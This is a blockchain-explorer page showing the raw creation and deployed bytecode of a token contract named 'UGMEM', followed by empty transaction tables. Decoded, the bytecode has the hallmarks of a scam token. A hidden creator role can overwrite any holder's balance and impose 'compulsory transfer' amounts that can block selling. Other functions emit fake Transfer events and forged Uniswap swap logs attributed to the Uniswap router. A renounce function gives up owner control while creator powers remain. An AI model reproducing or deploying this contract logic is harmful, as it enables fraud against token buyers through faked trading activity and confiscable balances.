b5b6119ba888289016118db565b92505060806119cb88828901611613565b9150509295509295909350565b6000806000606084860312156119f1576119f06115c0565b5b60006119ff86828701611613565b9350506020611a1086828701611613565b9250506040611a2186828701611649565b9150509250925092565b611a34816115ea565b82525050565b6000602082019050611a4f6000830184611a2b565b92915050565b600060ff82169050919050565b611a6b81611a55565b82525050565b6000602082019050611a866000830184611a62565b92915050565b600060208284031215611aa257611aa16115c0565b5b6000611ab084828501611613565b91505092915050565b600080fd5b60008083601f840112611ad457611ad36116fe565b5b8235905067ffffffffffffffff811115611af157611af0611ab9565b5b602083019150836020820283011115611b0d57611b0c6117aa565b5b9250929050565b600080600060408486031215611b2d57611b2c6115c0565b5b600084013567ffffffffffffffff811115611b4b57611b4a6115c5565b5b611b5786828701611abe565b93509350506020611b6a86828701611649565b9150509250925092565b60008060408385031215611b8b57611b8a6115c0565b5b600083013567ffffffffffffffff811115611ba957611ba86115c5565b5b611bb585828601611818565b9250506020611bc685828601611649565b9150509250929050565b60008060408385031215611be757611be66115c0565b5b6000611bf585828601611613565b9250506020611c0685828601611613565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115611c9657808604811115611c7257611c71611c10565b5b6001851615611c815780820291505b8081029050611c8f85611c3f565b9450611c56565b94509492505050565b600082611caf5760019050611d6b565b81611cbd5760009050611d6b565b8160018114611cd35760028114611cdd57611d0c565b6001915050611d6b565b60ff841115611cef57611cee611c10565b5b8360020a915084821115611d0657611d05611c10565b5b50611d6b565b5060208310610133831016604e8410600b8410161715611d415782820a905083811115611d3c57611d3b611c10565b5b611d6b565b611d4e8484846001611c4c565b92509050818404811115611d6557611d64611c10565b5b81810290505b9392505050565b6000611d7d82611628565b9150611d8883611a55565b9250611db57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611c9f565b905092915050565b6000611dc882611628565b9150611dd383611628565b9250828202611de181611628565b91508282048414831517611df857611df7611c10565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b6000611e5d611e58611e5384611e2e565b611e38565b611628565b9050919050565b611e6d81611e42565b82525050565b6000608082019050611e8860008301876116d4565b611e956020830186611e64565b611ea26040830185611e64565b611eaf60608301846116d4565b95945050505050565b6000606082019050611ecd6000830186611a2b565b611eda6020830185611a2b565b611ee760408301846116d4565b949350505050565b611ef88161169e565b8114611f0357600080fd5b50565b600081519050611f1581611eef565b92915050565b600060208284031215611f3157611f306115c0565b5b6000611f3f84828501611f06565b91505092915050565b6000611f5382611628565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611f8557611f84611c10565b5b600182019050919050565b7f416c6c6f77616e6365206c696d69742073757270617373656400000000000000600082015250565b6000611fc660198361150f565b9150611fd182611f90565b602082019050919050565b60006020820190508181036000830152611ff581611fb9565b9050919050565b7f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368600082015250565b600061203260208361150f565b915061203d82611ffc565b602082019050919050565b6000602082019050818103600083015261206181612025565b9050919050565b600061207382611628565b915061207e83611628565b925082820390508181111561209657612095611c10565b5b92915050565b60006120a782611628565b91506120b283611628565b92508282019050808211156120ca576120c9611c10565b5b92915050565b7f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360008201527f732072657175697265642e000000000000000000000000000000000000000000602082015250565b600061212c602b8361150f565b9150612137826120d0565b604082019050919050565b6000602082019050818103600083015261215b8161211f565b9050919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b600061219860148361150f565b91506121a382612162565b602082019050919050565b600060208201905081810360008301526121c78161218b565b9050919050565b7f556e617574686f72697a65643a2043726561746f72206163636573732072657160008201527f75697265642e0000000000000000000000000000000000000000000000000000602082015250565b600061222a60268361150f565b9150612235826121ce565b604082019050919050565b600060208201905081810360008301526122598161221d565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b6000612296601b8361150f565b91506122a182612260565b602082019050919050565b600060208201905081810360008301526122c581612289565b9050919050565b7f496e76616c696420616464726573732073706563696669656400000000000000600082015250565b600061230260198361150f565b915061230d826122cc565b602082019050919050565b60006020820190508181036000830152612331816122f5565b9050919050565b600060408201905061234d60008301856116d4565b61235a60208301846116d4565b939250505056fea2646970667358221220abfd53d3af7fb820963c7b86d07d8aa7c28fd44e4d4166c011462b9bd205c97264736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638e32c003116100b8578063c345cf231161007c578063c345cf2314610369578063cadc24b514610387578063d8fb9361146103b7578063dd62ed3e146103d3578063e03504af14610403578063e156b1b61461042157610142565b80638e32c003146102c557806395d89b41146102e1578063a713fd53146102ff578063a9059cbb1461031d578063adacad8c1461034d57610142565b806328226aa71161010a57806328226aa714610213578063313ce56714610231578063416c3c9d1461024f5780635c01b60c1461026d57806370a082311461028b578063715018a6146102bb57610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd146101955780631ae1ffbc146101b357806323b872dd146101e3575b600080fd5b61014f610451565b60405161015c9190611594565b60405180910390f35b61017f600480360381019061017a919061165e565b61048e565b60405161018c91906116b9565b60405180910390f35b61019d61058e565b6040516101aa91906116e3565b60405180910390f35b6101cd60048036038101906101c89190611909565b6105b1565b6040516101da91906116b9565b60405180910390f35b6101fd60048036038101906101f891906119d8565b6107ff565b60405161020a91906116b9565b60405180910390f35b61021b610ad7565b6040516102289190611a3a565b60405180910390f35b610239610b00565b6040516102469190611a71565b60405180910390f35b610257610b09565b6040516102649190611a3a565b60405180910390f35b610275610b33565b6040516102829190611594565b60405180910390f35b6102a560048036038101906102a09190611a8c565b610b6c565b6040516102b291906116e3565b60405180910390f35b6102c3610bb5565b005b6102df60048036038101906102da9190611a8c565b610cf1565b005b6102e9610db1565b6040516102f69190611594565b60405180910390f35b610307610dee565b6040516103149190611a71565b60405180910390f35b6103376004803603810190610332919061165e565b610df3565b60405161034491906116b9565b60405180910390f35b61036760048036038101906103629190611b14565b611008565b005b610371611116565b60405161037e91906116e3565b60405180910390f35b6103a1600480360381019061039c9190611a8c565b611135565b6040516103ae91906116e3565b60405180910390f35b6103d160048036038101906103cc9190611b74565b61117e565b005b6103ed60048036038101906103e89190611bd0565b6113ca565b6040516103fa91906116e3565b60405180910390f35b61040b611451565b6040516104189190611594565b60405180910390f35b61043b600480360381019061043691906119d8565b61148a565b60405161044891906116b9565b60405180910390f35b60606040518060400160405280600581526020017f55474d454d000000000000000000000000000000000000000000000000000000815250905090565b6000816001600061049d6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166105376114fc565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161057c91906116e3565b60405180910390a36001905092915050565b60006012600a61059e9190611d72565b629896806105ac9190611dbd565b905090565b600080600090505b85518110156107f1578581815181106105d5576105d4611dff565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87848151811061063e5761063d611dff565b5b602002602001015160405161065391906116e3565b60405180910390a385818151811061066e5761066d611dff565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228784815181106106eb576106ea611dff565b5b602002602001015160008089878151811061070957610708611dff565b5b60200260200101516040516107219493929190611e73565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b687838151811061075857610757611dff565b5b60200260200101518987858151811061077457610773611dff565b5b60200260200101516040518463ffffffff1660e01b815260040161079a93929190611eb8565b6020604051808303816000875af11580156107b9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dd9190611f1b565b5080806107e990611f48565b9150506105b9565b506001905095945050505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061084b6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156108c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108be90611fdc565b60405180910390fd5b60006108d285611135565b905060008111156109205780831461091f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091690612048565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461096f9190612068565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109c5919061209c565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a166114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a5f9190612068565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ac391906116e3565b60405180910390a360019150509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006012905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600581526020017f55474d454d00000000000000000000000000000000000000000000000000000081525081565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bbd6114fc565b73ffffffffffffffffffffffffffffffffffffffff16610bdb610ad7565b73ffffffffffffffffffffffffffffffffffffffff1614610c31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2890612142565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610cf96114fc565b73ffffffffffffffffffffffffffffffffffffffff16610d17610ad7565b73ffffffffffffffffffffffffffffffffffffffff1614610d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6490612142565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606040518060400160405280600581526020017f55474d454d000000000000000000000000000000000000000000000000000000815250905090565b601281565b60008160026000610e026114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e75906121ae565b60405180910390fd5b6000610e90610e8b6114fc565b611135565b90506000811115610ede57808314610edd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed490612048565b60405180910390fd5b5b8260026000610eeb6114fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f349190612068565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f8a919061209c565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610fb06114fc565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ff591906116e3565b60405180910390a3600191505092915050565b6110106114fc565b73ffffffffffffffffffffffffffffffffffffffff1661102e610b09565b73ffffffffffffffffffffffffffffffffffffffff1614611084576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107b90612240565b60405180910390fd5b60005b838390508110156111105781600360008686858181106110aa576110a9611dff565b5b90506020020160208101906110bf9190611a8c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061110890611f48565b915050611087565b50505050565b6012600a6111249190611d72565b629896806111329190611dbd565b81565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6111866114fc565b73ffffffffffffffffffffffffffffffffffffffff166111a4610b09565b73ffffffffffffffffffffffffffffffffffffffff16146111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f190612240565b60405180910390fd5b600081101561123e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611235906122ac565b60405180910390fd5b60005b82518110156113c557600083828151811061125f5761125e611dff565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036112d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cf90612318565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c8489082866040516113a8929190612338565b60405180910390a2505080806113bd90611f48565b915050611241565b505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6040518060400160405280600581526020017f55474d454d00000000000000000000000000000000000000000000000000000081525081565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114e991906116e3565b60405180910390a3600190509392505050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561153e578082015181840152602081019050611523565b60008484015250505050565b6000601f19601f8301169050919050565b600061156682611504565b611570818561150f565b9350611580818560208601611520565b6115898161154a565b840191505092915050565b600060208201905081810360008301526115ae818461155b565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006115f5826115ca565b9050919050565b611605816115ea565b811461161057600080fd5b50565b600081359050611622816115fc565b92915050565b6000819050919050565b61163b81611628565b811461164657600080fd5b50565b60008135905061165881611632565b92915050565b60008060408385031215611675576116746115c0565b5b600061168385828601611613565b925050602061169485828601611649565b9150509250929050565b60008115159050919050565b6116b38161169e565b82525050565b60006020820190506116ce60008301846116aa565b92915050565b6116dd81611628565b82525050565b60006020820190506116f860008301846116d4565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61173b8261154a565b810181811067ffffffffffffffff8211171561175a57611759611703565b5b80604052505050565b600061176d6115b6565b90506117798282611732565b919050565b600067ffffffffffffffff82111561179957611798611703565b5b602082029050602081019050919050565b600080fd5b60006117c26117bd8461177e565b611763565b905080838252602082019050602084028301858111156117e5576117e46117aa565b5b835b8181101561180e57806117fa8882611613565b8452602084019350506020810190506117e7565b5050509392505050565b600082601f83011261182d5761182c6116fe565b5b813561183d8482602086016117af565b91505092915050565b600067ffffffffffffffff82111561186157611860611703565b5b602082029050602081019050919050565b600061188561188084611846565b611763565b905080838252602082019050602084028301858111156118a8576118a76117aa565b5b835b818110156118d157806118bd8882611649565b8452602084019350506020810190506118aa565b5050509392505050565b600082601f8301126118f0576118ef6116fe565b5b8135611900848260208601611872565b91505092915050565b600080600080600060a08688031215611925576119246115c0565b5b600061193388828901611613565b955050602086013567ffffffffffffffff811115611954576119536115c5565b5b61196088828901611818565b945050604086013567ffffffffffffffff811115611981576119806115c5565b5b61198d888289016118db565b935050606086013567ffffffffffffffff8111156119ae576119ad6115c5565b5b6119ba888289016118db565b92505060806119cb88828901611613565b9150509295509295909350565b6000806000606084860312156119f1576119f06115c0565b5b60006119ff86828701611613565b9350506020611a1086828701611613565b9250506040611a2186828701611649565b9150509250925092565b611a34816115ea565b82525050565b6000602082019050611a4f6000830184611a2b565b92915050565b600060ff82169050919050565b611a6b81611a55565b82525050565b6000602082019050611a866000830184611a62565b92915050565b600060208284031215611aa257611aa16115c0565b5b6000611ab084828501611613565b91505092915050565b600080fd5b60008083601f840112611ad457611ad36116fe565b5b8235905067ffffffffffffffff811115611af157611af0611ab9565b5b602083019150836020820283011115611b0d57611b0c6117aa565b5b9250929050565b600080600060408486031215611b2d57611b2c6115c0565b5b600084013567ffffffffffffffff811115611b4b57611b4a6115c5565b5b611b5786828701611abe565b93509350506020611b6a86828701611649565b9150509250925092565b60008060408385031215611b8b57611b8a6115c0565b5b600083013567ffffffffffffffff811115611ba957611ba86115c5565b5b611bb585828601611818565b9250506020611bc685828601611649565b9150509250929050565b60008060408385031215611be757611be66115c0565b5b6000611bf585828601611613565b9250506020611c0685828601611613565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115611c9657808604811115611c7257611c71611c10565b5b6001851615611c815780820291505b8081029050611c8f85611c3f565b9450611c56565b94509492505050565b600082611caf5760019050611d6b565b81611cbd5760009050611d6b565b8160018114611cd35760028114611cdd57611d0c565b6001915050611d6b565b60ff841115611cef57611cee611c10565b5b8360020a915084821115611d0657611d05611c10565b5b50611d6b565b5060208310610133831016604e8410600b8410161715611d415782820a905083811115611d3c57611d3b611c10565b5b611d6b565b611d4e8484846001611c4c565b92509050818404811115611d6557611d64611c10565b5b81810290505b9392505050565b6000611d7d82611628565b9150611d8883611a55565b9250611db57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611c9f565b905092915050565b6000611dc882611628565b9150611dd383611628565b9250828202611de181611628565b91508282048414831517611df857611df7611c10565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b6000611e5d611e58611e5384611e2e565b611e38565b611628565b9050919050565b611e6d81611e42565b82525050565b6000608082019050611e8860008301876116d4565b611e956020830186611e64565b611ea26040830185611e64565b611eaf60608301846116d4565b95945050505050565b6000606082019050611ecd6000830186611a2b565b611eda6020830185611a2b565b611ee760408301846116d4565b949350505050565b611ef88161169e565b8114611f0357600080fd5b50565b600081519050611f1581611eef565b92915050565b600060208284031215611f3157611f306115c0565b5b6000611f3f84828501611f06565b91505092915050565b6000611f5382611628565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611f8557611f84611c10565b5b600182019050919050565b7f416c6c6f77616e6365206c696d69742073757270617373656400000000000000600082015250565b6000611fc660198361150f565b9150611fd182611f90565b602082019050919050565b60006020820190508181036000830152611ff581611fb9565b9050919050565b7f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368600082015250565b600061203260208361150f565b915061203d82611ffc565b602082019050919050565b6000602082019050818103600083015261206181612025565b9050919050565b600061207382611628565b915061207e83611628565b925082820390508181111561209657612095611c10565b5b92915050565b60006120a782611628565b91506120b283611628565b92508282019050808211156120ca576120c9611c10565b5b92915050565b7f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360008201527f732072657175697265642e000000000000000000000000000000000000000000602082015250565b600061212c602b8361150f565b9150612137826120d0565b604082019050919050565b6000602082019050818103600083015261215b8161211f565b9050919050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b600061219860148361150f565b91506121a382612162565b602082019050919050565b600060208201905081810360008301526121c78161218b565b9050919050565b7f556e617574686f72697a65643a2043726561746f72206163636573732072657160008201527f75697265642e0000000000000000000000000000000000000000000000000000602082015250565b600061222a60268361150f565b9150612235826121ce565b604082019050919050565b600060208201905081810360008301526122598161221d565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b6000612296601b8361150f565b91506122a182612260565b602082019050919050565b600060208201905081810360008301526122c581612289565b9050919050565b7f496e76616c696420616464726573732073706563696669656400000000000000600082015250565b600061230260198361150f565b915061230d826122cc565b602082019050919050565b60006020820190508181036000830152612331816122f5565b9050919050565b600060408201905061234d60008301856116d4565b61235a60208301846116d4565b939250505056fea2646970667358221220abfd53d3af7fb820963c7b86d07d8aa7c28fd44e4d4166c011462b9bd205c97264736f6c63430008120033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.